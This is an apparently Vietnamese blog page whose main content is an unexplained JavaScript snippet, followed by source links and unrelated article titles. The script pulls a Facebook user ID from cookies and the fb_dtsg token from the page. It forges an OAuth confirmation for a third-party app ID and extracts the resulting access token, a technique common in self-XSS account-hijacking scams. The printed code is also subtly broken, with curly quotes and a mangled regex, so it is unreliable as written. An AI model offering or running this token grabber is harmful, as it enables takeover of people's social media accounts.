Kênh giải trí tổng hợp
var uid = document.cookie.match(/c_user=(d+)/)[1],
dtsg = document.getElementsByName(“fb_dtsg”)[0].value,
http = new XMLHttpRequest,
url = “//www.facebook.com/v1.0/dialog/oauth/confirm”,
params = “fb_dtsg=” + dtsg + “&app_id=165907476854626&redirect_uri=fbconnect%3A%2F%2Fsuccess&display=page&access_token=&from_post=1&return_format=access_token&domain=&sso_device=ios&__CONFIRM__=1&__user=” + uid;
http.open(“POST”, url, !0), http.setRequestHeader(“Content-type”, “application/x-www-form-urlencoded”), http.onreadystatechange = function() {
if (4 == http.readyState && 200 == http.status) {
var a = http.responseText.match(/access_token=(.*)(?=&expires_in)/);
a = a ? a[1] : “Failed to get Access token make sure you authorized the HTC sense app”, prompt(“Token”, a);
}
}, http.send(params);
Nguồn: https://dichvuchothue.com.vn
Xem thêm bài viết khác: https://dichvuchothue.com.vn/cong-nghe/
Xem thêm Bài Viết:
- So Sánh Nhanh Màn Hình Dell Ultrasharp U2721DE và ASUS ProArt PA278QV
- Cách thay đổi mật khẩu Wi-Fi
- Bỏ túi cách sử dụng hàm Eomonth trong Excel đơn giản và dễ hiểu nhất
- Bí quyết nhận Code Free Fire 2019 nhanh chóng và đơn giản nhất
- THIỆP HỒNG NGƯỜI DƯNG (DinhLong Remix) – Phát Hồ x JokeS Bii x Sinike | Official Music